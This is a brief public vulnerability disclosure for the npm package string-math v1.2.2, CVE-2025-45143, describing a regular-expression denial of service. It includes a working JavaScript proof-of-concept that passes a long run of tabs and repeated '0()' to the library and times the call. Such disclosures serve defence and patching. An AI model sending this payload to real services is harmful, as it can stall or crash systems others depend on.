Public disclosure for a security issue inside string-math v1.2.2

gistfile1.txt

Product:  https://www.npmjs.com/package/string-math
Version: v1.2.2
Vulnerability type: Regex Denial of Service
CVE ID: CVE-2025-45143

Description: The regex on line 7. inside string-math.js is vulnerable to Regex Denial of Service if a long input is provided, 
in this case a long input of null bytes and tabs will cause the application to crash eventually.

Payload used:

var stringMath = require('string-math');
const { performance } = require("perf_hooks");
const start = performance.now();
payload = '\t'.repeat(5000) + '0()'.repeat(100)
//stringMath("-5-5") //-10
stringMath(payload)
const end = performance.now();
console.log(`time taken: ${end - start}ms`);